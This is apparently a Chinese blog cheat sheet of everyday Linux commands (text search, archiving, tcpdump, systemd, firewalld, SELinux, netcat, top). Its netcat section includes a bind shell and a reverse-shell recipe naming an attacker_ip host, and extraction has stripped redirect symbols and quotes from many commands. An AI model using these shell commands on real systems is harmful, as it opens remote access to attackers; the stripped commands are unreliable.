
常用Linux命令总结前言文本文件grepawksedStream Editorvim 编辑其他文本查看cat ,tailheadmorelessmv file.txt file.txt_$(date %Y%m%d%H%M%S)tar cf xx.tar xxtar xf xx.tar [-C xxx]zip -q -r html.zip /home/htmlunzip xxx.zip [-d xxx]rz xxx, sz xxx清空文件目录 路径ls llpwdfind / -name xxdu -hx /* 2/dev/null | sort -hr | head -n 10软连接网络netstat -nltptcpdump 网络抓包网段添加进程服务常用shell脚本防火墙SElinux系统Linux中使用不同的符号来链接多个命令以便它们按照特定的逻辑顺序执行分号与操作符或操作符组合使用管道子shell后台执行if-else 结构nc监听端口连接到服务器传输文件端口扫描创建代理使用SSL/TLS监听并执行命令反向Shell保存输出到文件使用IPv6交互行首行尾切换日期设置Centos中SELinux 的操作计算文件md5top 系统资源监控指令的使用top 常用指令核心指标快速解释系统概览top 顶部区域进程列表top 中间表格前言Linux操作系统以其强大的功能、高度的稳定性以及开源的特性成为了服务器管理、编程开发、云计算等领域不可或缺的基石。以下为工作中常用的Linux指令汇总有错误的地方希望大家指正。文本文件grepgrep 是一种强大的文本搜索工具它使用正则表达式来匹配文本行并输出匹配的行。基本用法grep [选项参数] pattern [file…]pattern过滤条件或关键字可以是正则表达式。file要搜索的文件一个或多个若不指定文件grep 会从标准输入读取。常用选项参数-A n显示匹配到的「后n行」。-B n显示匹配到的「前n行」。-C n显示匹配到的「前n行」和「后n行」。-E支持扩展正则匹配常用 。例如筛选a或则b grep -E ‘a|b’-v反选过滤内容。-i: 忽略大小写常用-n: 显示行号-r: 递归搜索–coloralways 可以对关键字显示颜色grep --coloralways key filegreperrorlog.txt# 搜索包含error的行grep-ierrorlog.txt# 忽略大小写搜索grep-vsuccesslog.txt# 输出不包含success的行grep-nwarninglog.txt# 显示包含warning的行号grep-rerror/var/log# 递归搜索目录中的文件awkawk 是一种编程语言用于文本处理和数据提取。它特别擅长处理结构化的文本数据如CSV文件可以逐行读取文件并进行复杂的处理。基本用法awk [选项] ‘模式 {动作}’ 文件字段处理$1、$2 等表示字段$0 表示整行。模式匹配可以使用正则表达式匹配行。内置变量如 NR当前行号、NF字段数量等。循环和条件语句支持 if、for、while 等。awk{print $1, $2}data.txt# 提取第一列和第二列awk/error/ {print $0}log.txt# 打印包含error的行awkNR1 {print $0}data.txt# 打印第一行awk-F,{print $1, $3}data.csv# 以逗号为分隔符提取第一列和第三列sedStream Editorsed 是一种流编辑器用于对文本进行快速的编辑操作如替换、删除、插入等。它特别适合批量处理文本文件。基本用法 sed [选项] ‘命令’ 文件常用命令s/模式/替换内容/替换文本中的内容。d删除匹配的行。i在匹配的行之前插入内容。a在匹配的行之后追加内容。p打印匹配的行。sed-is/error/warning/glog.txt# 将log.txt中的error替换为warning全局替换sed-is/error/warning/file.txt# 只替换每行的第一个 errorsed-is/error/warning/Ifile.txt# 忽略大小写替换 errorsed/error/dlog.txt# 删除包含error的行sed1,5dfile.txt# 删除第 1 到第 5 行sed1dfile.txt# 删除第 1 行sed$dfile.txt# 删除最后一行sed1i This is a new linedata.txt# 在第一行之前插入一行sed2a This is appendeddata.txt# 在第二行之后追加一行sed/error/i This is inserted before the linefile.txt# 在包含 error 的行之前插入内容sed/error/a This is appended after the linefile.txt# 在包含 error 的行之后追加内容sed-n/error/plog.txt# 打印包含error的行sed/error/r insert.txtfile.txt# 将 insert.txt 的内容插入到包含 error 的行之后sed/error/w output.txtfile.txt# 将包含 error 的行写入 output.txt// -i为直接修改文件vim 编辑光标定位到文本首行在非编辑状态输入gg光标定位到文本行尾在非编辑状态输入G显示行号在非编辑状态输入 :set number隐藏行号在非编辑状态输入 :set nonumber快速定位到具体行在非编辑状态输入 :num其他文本查看cat ,tailheadmorelesstail -f myapp.log | grep “error”mv file.txt file.txt_$(date “%Y%m%d%H%M%S”)根据日期重命名文件tar cf xx.tar xx打tar包指令tar xf xx.tar [-C xxx]解包指令 -C 可以指定解包路径默认为当前当前目录zip -q -r html.zip /home/html打zip包unzip xxx.zip [-d xxx]解zip包rz xxx, sz xxx文件上传和下载需要yum install -y lrzsz清空文件使用重定向操作符 /path/to/your/file.txt使用cat命令cat命令可以用来创建一个空文件如果文件已经存在它也会清空文件内容。cat /dev/null /path/to/your/file.txt这里/dev/null是一个特殊的文件它丢弃写入它的所有数据。使用truncate命令truncate命令可以用来减小文件大小当您将其大小设置为0时文件内容会被清空。truncate -s 0 /path/to/your/file.txt-s 0选项设置文件大小为0字节。使用echo命令通过将一个空字符串写入文件也可以清空文件内容。echo “” /path/to/your/file.txt或者echo /path/to/your/file.txt使用rm和touch命令组合首先删除文件然后立即重新创建一个空文件。rm /path/to/your/file.txt touch /path/to/your/file.txt选择任何一种方法都可以达到清空文件内容的目的。通常情况下使用重定向操作符是最简单和最常用的方法。目录 路径ls ll查看目录下的类容例如 将目录a下的的文件或文件夹按时间时间逆序排序并输出前10个ll -t | head -n 10pwd查看当前目录路径find / -name xx查看根路径下是否有xx文件或文件夹。添加 2/dev/null 过滤掉错误信息例如权限不存在。可以使用通配符来实现模糊匹配。最常用的通配符是*和?*匹配任意数量的任意字符。?匹配单个字符。find . -type f -size 100M 可以找到当前目录小大于100M的文件du -hx /* 2/dev/null | sort -hr | head -n 10du -sh ./* 读取当前目录下每个目录或者文件占用磁盘大小找出根目录下前10个大文件软连接ln -s 源文件/目录的路径 软链接的路径网络netstat -nltp获取服务器监听端口相关信息yum install -y net-toolstcpdump 网络抓包tcpdump host 192.168.1.1 # 抓取与 192.168.1.1 相关的流量tcpdump src 192.168.1.1 # 来源 IP 是 192.168.1.1tcpdump dst 192.168.1.2 # 目标 IP 是 192.168.1.2tcpdump port 80 # 抓取 80 端口的流量tcpdump src port 1234 # 来源端口是 1234tcpdump dst port 443 # 目标端口是 443HTTPStcpdump portrange 8000-9000 # 端口范围tcpdump icmp # 抓取 ICMP 包如 pingtcpdump tcp # 仅 TCP 流量tcpdump udp # 仅 UDP 流量tcpdump arp # 抓取 ARP 请求/响应tcpdump rtps # 抓取 rtps流量tcpdump ‘src 192.168.1.1 and dst port 80’ # 来源 IP 且目标端口 80tcpdump ‘tcp and (port 80 or port 443)’ # TCP 且端口为 80 或 443tcpdump ‘not icmp’ # 排除 ICMP 包tcpdump -i eth0 -w output.pcap ‘tcp port 22 and host 192.168.1.100’ # 抓取eth0网卡流量并写入pcap文件。使用 -w 保存的 .pcap 文件可用 Wireshark 可视化分析。tcpdump -r output.pcap -nn -v 从文件中读取并分析网段添加ip addr add IP地址/子网前缀 dev 网卡名ip addr del IP地址/子网前缀 dev 网卡名例如ip addr add 192.168.50.20/24 dev enp1s0进程ps -ef | grep service_name | grep -v grep | awk ‘{print $2}’ | xargs kill -SIGTERMps -ef | grep service_name | grep -v grep | awk ‘{print $2}’ | xargs kill -9ps -ef | grep service_name | grep -v grep | cut -c 9-15 | xargs kill -9ps -ef | grep service_name | grep -v grep | awk ‘{print $2}’ | xargs -r kill -SIGTERM查找服务进程id并结束进程。使用SIGTERM可以更优雅的结束 xargs -r 参数表示如果标准输入为空则不执行命令。pgrep -f “scheduler-service.jar”通过关键字查询进行idpkill -f “scheduler-service.jar”通过关键字kill进程readlink -f /proc/PID/exe 查看具体进程id所对应的执行目录服务nohup java -Xmx200M -Xms200M -jar jar_file.jar /dev/null 21 linux上启动java服务后台执行不输出程序的标准输出stdout-1和标准错误stderr-2nohup java -Xmx200M -Xms200M -jar xxx.jar --spring.profiles.activelocal xx.log 21 nohup java -Xmx200M -Xms200M -jar xxx.jar --spring.config.location file://文件路径 /dev/null 21 启动linu系统服务sudo systemctl start mariadb 启动服务sudo systemctl status mariadb 服务状态sudo systemctl enabledisable mariadb 开机启动sudo systemctl disable mariadb 禁止开机启动sudo systemctl is-enabled mariadb 检查服务是否已启用sudo systemctl daemon-reload 重新加载服务配置sudo service mysql start老版本命令sudo journalctl -u 服务名 查看某服务的所有日志sudo journalctl -u 服务名 -f 实时跟踪日志类似tail -fsudo journalctl -u 服务名 -n 100 只显示最后 100 行日志sudo journalctl -u 服务名 -p err 只显示错误级别日志支持 err/warn/info/debugsudo journalctl -u 服务名 --since “2024-01-01 00:00:00” 查看指定时间之后的日志sudo journalctl -u 服务名 --until “2024-01-01 00:00:00” 查看指定时间之前的日志查看系统注册服务包括“已启用enabled”和“已禁用disabled”的服务systemctl list-unit-files --typeservice查看当前运行的服务systemctl list-units --typeservice --staterunning查看所有服务的实时状态systemctl list-units --typeservice常用shell脚本echo启动程序${1}pidps-ef|grep${1}|grep-vgrep|awk{print $2}if[${pid}];thenecho杀掉进程pid${pid}kill-9${pid}finohup/usr/local/java/jdk-11.0.1/bin/java-jar${1}.jar--spring.profiles.active${2}/dev/null21echo服务启动成功# java 服务启动指定配置文件启动nohupjava-Dspring.config.locationfile:./config/application.yml-jarradartest-system.jar--spring.profiles.activedev/dev/null21防火墙sudo systemctl status firewalld firewall-cmd --state查看防火墙状态sudo systemctl stop firewalld关闭防火墙sudo systemctl disable/enable firewalld开启启动/禁止开机启动sudo systemctl start firewalldfirewall-cmd --zonepublic --list-ports查看防火墙所有开放的端口firewall-cmd --zonepublic --add-port5672/tcp --permanent开放5672端口firewall-cmd --zonepublic --remove-port5672/tcp --permanent关闭5672端口firewall-cmd --reload配置立即生效SElinuxgetenforce / sestatus 查看selinux状态sudo setenforce 0 临时关闭 SELinux 模式。如果需要永久更改可以编辑/etc/selinux/config 文件并重启系统。sudo setenforce 1 临时启用 SELinux 模式系统uname -a 查看内核cat /proc/cpuinfo 查看cpucat /proc/meminfo 查看内存详情free -m 查看内存df -h 查看磁盘rpm -qa --nodeps xxx 安装软件rpm -e --nodeps xx 卸载软件yum remove mysql-libs -y xx 卸载软件cat /etc/passwd 查看用户cat /etc/group 查看组grep xxx /etc/passwd 查询用户信息id username 查询用户所在的组Linux中使用不同的符号来链接多个命令以便它们按照特定的逻辑顺序执行分号使用分号可以将多个命令简单地串联起来。无论左侧命令是否成功即退出状态为 0 或非 0右侧命令都会被执行。command1; command2; command3与操作符使用 可以确保只有当左侧命令成功时退出状态为 0右侧命令才会被执行。如果左侧命令失败则右侧命令不会执行。command1 command2 command3或操作符使用||可以让右侧命令仅在左侧命令失败时退出状态非 0才执行。如果左侧命令成功则跳过右侧命令。command1 || command2 || command3组合使用command1 command2 || command3只在第一个命令成功时执行第二个命令而如果第一个命令失败则执行第三个命令。管道管道符号用于将一个命令的标准输出作为下一个命令的标准输入。这对于创建数据处理链非常有用。command1 | command2 | command3子shell圆括号中的命令会在一个子 shell 中执行这允许你将一组命令作为一个整体来对待而不影响父 shell 的环境变量等。(command1; command2) command3后台执行在命令末尾加上单个 可以让命令在后台运行立即返回控制权给用户。command1 command2 command3if-else 结构虽然这不是简单的符号连接但如果需要根据命令的成功与否来决定执行哪个命令可以使用 if-else 语法。if command1; thencommand2elsecommand3fincncnetcat是一个功能强大的网络工具它可以用于多种网络操作包括监听网络连接、端口扫描、发送文件等。以下是一些基本的nc用法监听端口nc -l -p 8080这个命令会监听本地8080端口等待连接。连接到服务器nc example.com 80这个命令会连接到example.com的80端口。传输文件发送文件nc -l -p 8080 file.txt接收文件nc example.com 8080 file.txt端口扫描nc -zv example.com 1-100这个命令会扫描example.com的1到100端口-z表示扫描监听的守护进程-v表示详细模式。创建代理nc -l -p 8080 | nc example.com 80这个命令会创建一个简单的代理将本地8080端口的流量转发到example.com的80端口。使用SSL/TLSnc -v example.com 443这个命令会尝试使用SSL/TLS连接到example.com的443端口。监听并执行命令nc -l -p 8080 -e /bin/bash这个命令会监听8080端口并在连接建立时执行/bin/bash。反向Shellnc -l -p 8080 -e /bin/bash在攻击者机器上运行这个命令然后从目标机器连接回攻击者机器nc attacker_ip 8080保存输出到文件nc example.com 80 output.txt这个命令会将example.com的80端口的输出保存到output.txt文件中。使用IPv6nc -6 example.com 80这个命令会使用IPv6连接到example.com的80端口。交互echo “请输入服务器IP”read serverIp这样可以读入用户输入的IP并将这个参数赋值给serverIP行首行尾切换Ctrl A将光标移动到当前行的开头Ctrl E光标移动到当前行的末尾日期设置date -s “2025-01-04 10:18”Centos中SELinux 的操作查看当前运行模式 getenforce查看详细状态信息 sestatus临时关闭setenforce 0永久关闭vim /etc/selinux/configSELINUXdisabled计算文件md5md5sum xxxtop 系统资源监控指令的使用top 常用指令启动 top直接输入top默认 1 秒自动刷新自定义刷新间隔top -d NN 为秒数比如top -d 3表示 3 秒刷新一次查看特定进程top -p PID1,PID2比如top -p 781794查看指定 PID 的进程查看特定用户进程top -u 用户名比如top -u root只显示 root 用户的进程交互排序在 top 界面按P按CPU 使用率降序排列M按内存RES降序排列T按累计 CPU 时间TIME降序排列过滤进程名在 top 界面按o输入COMMAND进程名比如COMMANDpython3只显示 Python 进程退出 top按q核心指标快速解释系统概览top 顶部区域load average: 0.10, 0.07, 0.051/5/15 分钟系统负载数值≈CPU 核心数时负载适中Cpu(s)usUser Space用户空间进程比如运行的 Python、浏览器等程序占用的 CPU 比例。sySystem Space内核空间进程比如系统驱动、内存管理等系统操作占用的 CPU 比例。niNice被手动调整过优先级的用户进程占用的 CPU 比例Nice 值越高优先级越低。idIdleCPU空闲的比例这部分是没被任何任务占用的资源waIO WaitCPU 等待磁盘、网络等I/O 设备响应的时间比例这部分 CPU 是 “空等” 状态。hiHardware InterruptCPU 处理硬件中断比如键盘按键、网卡收包的时间比例。siSoftware InterruptCPU 处理软件中断比如系统信号、进程间通信的时间比例。stSteal Time仅在虚拟化环境中有效当前虚拟机被宿主机 “偷走” 的 CPU 时间比例宿主机把资源分给了其他虚拟机。例如%Cpu(s)0.6 us, 0.2 sy, 0.0 ni, 99.2 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st字段对应你的数值的实际意义us0.6% → 只有 0.6% 的 CPU 在跑用户程序sy0.2% → 仅 0.2% 的 CPU 用于系统底层操作ni0.0% → 没有调整过优先级的用户进程在运行id99.2% → 几乎所有 CPU 都处于空闲状态系统很清闲wa0.0% → 没有进程在等外设响应hi0.0% → 没有硬件中断占用 CPUsi0.0% → 没有软件中断占用 CPUst0.0% → 你的机器或虚拟机没被宿主机抢资源Memtotal/used/free物理内存的总 / 已用 / 空闲大小avail Mem系统实际可分配给新进程的内存更准的 “可用内存”Swap交换分区虚拟内存的总 / 已用 / 空闲大小进程列表top 中间表格PID进程唯一 ID%CPU进程当前的 CPU 使用率RES进程实际占用的物理内存核心内存指标%MEM进程占用内存占系统总内存的百分比TIME进程从启动到现在累计占用的 CPU 时间COMMAND进程对应的命令 / 程序名持续更新中······愿你我都能在各自的领域里不断成长勇敢追求梦想同时也保持对世界的好奇与善意。